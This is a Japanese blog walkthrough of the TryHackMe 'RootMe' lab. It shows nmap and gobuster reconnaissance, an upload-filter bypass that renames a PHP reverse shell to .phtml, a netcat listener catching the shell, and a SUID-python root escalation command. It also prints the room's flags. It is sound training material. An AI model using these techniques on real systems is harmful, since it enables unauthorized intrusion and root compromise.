1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

はじめに

TryHackMeのルーム「RootMe」のWalkThroughです。

ルームの概要

難易度EasyのChallengeルームとなっています。
説明欄を見ても初心者向けだということが伺えます。
タスクの問題を見る限り若干Tutorialルームっぽさもありそう?(個人の意見です)

主な目標・攻略の流れ

今回はタスクに沿って流れを設定します。

Task1 : Deploy the machine (マシンを起動)
Task2 : Reconnaissance (偵察)
Task3 : Getting a shell (シェルを取得)
Task4 : Privilege escalation (権限昇格)

目標はuser.txtroot.txtに書かれているフラグの入手です。

今回のWalkThroughでは、Task1がターゲットマシンを起動するだけの内容となっているので解説は省略させていただきます。

それでは始めていきましょう。
Try Harder!

環境・記事に関するお詫び

解説の前に今回のIPアドレスを載せておきます。参考にする際は順次置き換えて進めてください。

ローカルマシン(VPN): 10.9.1.210
ターゲットマシン: 10.10.203.134

また、今回ローカルマシンはKali 2024.4を使用し、作業ディレクトリは~/thm/RootMeとします。
解答はノートに載せ、(答えは不要)は空欄でも問題ないことを示します。

記事に載せている写真についてですが、こちらのミスで所々タスクバーが見えていたり翻訳が入っていたりしています。申し訳ございません。

Task2 : Reconnaissance

マシンの偵察を行います。

Q1. Scan the machine, how many ports are open?

nmapでポートスキャンを実行します。

┌──(kali㉿kali)-[~/thm/RootMe]
└─$ nmap --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.203.134
(中略)
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ cat nmap-1.txt         
# Nmap 7.95 scan initiated Wed Jan 15 22:40:29 2025 as: /usr/lib/nmap/nmap --privileged --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.203.134
Nmap scan report for 10.10.203.134
Host is up, received user-set (0.29s latency).
Scanned at 2025-01-15 22:40:29 JST for 13s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 15 22:40:42 2025 -- 1 IP address (1 host up) scanned in 13.41 seconds

22,80ポートがオープンとなっていました。

A. 2

Q2. What version of Apache is running?

nmapの実行結果から、Apacheのバージョンは2.4.29とわかります。

A. 2.4.29

Q3. What service is running on port 22?

同様に、実行結果を調べると22ポートではSSHが動いていることがわかります。

A. ssh

Q4. Find directories on the web server using the GoBuster tool.

GoBusterで隠しディレクトリを探します。今回は辞書ファイルにdirbのcommon.txtを使います。

┌──(kali㉿kali)-[~/thm/RootMe]
└─$ gobuster dir -u http://10.10.203.134 -w /usr/share/dirb/wordlists/common.txt -o gobuster-1.txt -t 64
(中略)
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ cat gobuster-1.txt 
/.hta                 (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/css                  (Status: 301) [Size: 312] [--> http://10.10.203.134/css/]
/index.php            (Status: 200) [Size: 616]
/js                   (Status: 301) [Size: 311] [--> http://10.10.203.134/js/]
/panel                (Status: 301) [Size: 314] [--> http://10.10.203.134/panel/]
/server-status        (Status: 403) [Size: 278]
/uploads              (Status: 301) [Size: 316] [--> http://10.10.203.134/uploads/]

A. (答えは不要)

Q5. What is the hidden directory?

GoBusterの実行結果を見ると、/panel/uploadsが隠しディレクトリとして出てきていることがわかります。今回は回答形式にあわせて/panelが答えとなります。

A. /panel/

Task3 : Getting a shell

ここでは、シェルの取得を目標として進めます。

Q1. user.txt

まずはWebサイトにアクセスしてみます(http://10.10.203.134)。
web-home.png
シンプルかつスタイリッシュ(?)なサイトが出てきました。
ソースを見ても何もなさそうなので、Task2で見つけた隠しディレクトリに行ってみましょう(/panel)。
web-panel.png
何やらファイルをアップロードできそうですね。試しにtest.txtでも作ってアップロードしてみましょう。

┌──(kali㉿kali)-[~/thm/RootMe]
└─$ echo "RootMe" > test.txt                                          

┌──(kali㉿kali)-[~/thm/RootMe]
└─$ cat test.txt      
RootMe

web-panel-uploaded.png
正常にアップロードできたようです。もう一つの隠しディレクトリ/uploadsにアクセスすると、アップロードしたファイルが閲覧できます。
web-uploads.png
ここで戦略を考えてみましょう。もしPHPファイルなども同様にアップロードし実行できたら、リバースシェルを用いてシェルが取得できますよね。 早速試してみましょう。
リバースシェルはKaliにデフォルトで入っているものを使用します。

┌──(kali㉿kali)-[~/thm/RootMe]
└─$ cp /usr/share/webshells/php/php-reverse-shell.php .

┌──(kali㉿kali)-[~/thm/RootMe]
└─$ vim php-reverse-shell.php

$ipローカルホストのIPアドレスに変更します。ポート番号は変更してもしなくても問題ありません(変える場合は後述のncコマンドのポート番号も併せて変更する)。

php-reverse-shell.php
<?php
(中略)
$ip = '10.9.1.210';  // CHANGE THIS
$port = 1234;  //CHANGE THIS
()

$ipローカルホストのIPアドレスを設定します。
間違ってターゲットマシンのIPアドレスを設定しないようにしましょう。

先ほどのtest.txtと同じようにアップロードしていきます。
web-panel-php-wait.png
Uploadをクリック。
web-panel-php-block.png
test.txtのときとは違い、「PHPは使用できない」との文が。どうやらPHPファイルはアップロードできないようです。

では、これを踏まえてもう一度作戦を立て直しましょう。
僕が考えた案は次の2つ(3つ)です。

  1. .php形式ではなく、.php形式と互換性がある.phtml形式に直して再アップロードする
  2. PHPではなく、Pythonなど他の言語で試してみる
  3. (上記の2つがだめであれば、burpsuiteを用いてアップロードできる形式を確認するなど)

試してみましょう。

1. .phpから.phtmlへ

┌──(kali㉿kali)-[~/thm/RootMe]
└─$ mv php-reverse-shell.php php-reverse-shell.phtml

web-panel-phtml-uploaded.png
成功したようです!ではいよいよリバースシェルを実行しシェルを取得していきます。

今回は拡張子を.phtmlにして通しましたが、もしかしたら2. の方法も使えるかもしれません。興味があれば試してみてください。
(Reverse Shell Generatorでは、PHPはもちろんPythonやGo、C言語など様々な形式のリバースシェルを簡単に生成することができるのでおすすめです。)

実行する前に、以下のコマンドを実行します。

┌──(kali㉿kali)-[~/thm/RootMe]
└─$ nc -lvnp 1234

/uploadsディレクトリにアクセスし、先ほどアップロードしたリバースシェルをクリックして実行しましょう。
ターミナルに以下のメッセージが表示され、入力が待機状態になっていれば成功です!おめでとうございます!

listening on [any] 1234 ...
connect to [10.9.1.210] from (UNKNOWN) [10.10.203.134] 51666
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 14:49:31 up  1:16,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

いくつかコマンドを実行して、侵入できているか確認してみましょう。

$ pwd
/
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

では、長くなってしまいましたがQ1の目的であるuser.txtを取っていきます。

$ find / -name 'user.txt'
(中略)
/var/www/user.txt
(中略)
$ cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}

これにてフラグゲットです!

A. THM{y0u_g0t_a_sh3ll}

Task4 : Privilege escalation

最後に、権限昇格でroot権限の取得を図ります。

Q1. Search for files with SUID permission, which file is weird?

SUID権限を持ったファイルを列挙してみましょう。

$ find / -perm -u=s -type f 2>/dev/null
(中略)
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
(略)

注目するべきは/usr/bin/pythonにSUIDがついていることですね。こうなっていればPythonスクリプト実行し放題です。

A. /usr/bin/python

Q2. Find a form to escalate your privileges.

Q1で見つけた穴をGTFOBinsで深堀りしてみましょう。
検索欄にpythonと入力します。
gtfobins-search.png
ありましたね。SUIDをクリックして確認します。
gtfobins-python-suid.png
見つかりました。どうやらピンクの枠にあるコマンドの中で下の行を実行すればよいそうです(ただし、./pythonの部分は絶対パスにする必要あり(この場合は/usr/bin/python))。

$ /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

何も表示されませんが、成功しているのでご安心ください(idコマンドを実行してroot権限があることを確認するとよい)。

id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

A. (答えは不要)

Q3. root.txt

最後に、root.txtを取って締めとしましょう。

cd /root     
ls
root.txt
cat root.txt
THM{pr1v1l3g3_3sc4l4t10n}

これでルームクリアです。ここまでお疲れさまでした!

A. THM{pr1v1l3g3_3sc4l4t10n}

Task4で使ったGTFOBinsは、他にも様々なPwnのテクニックが載っているのでこれからもぜひ参考にしてみてください。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?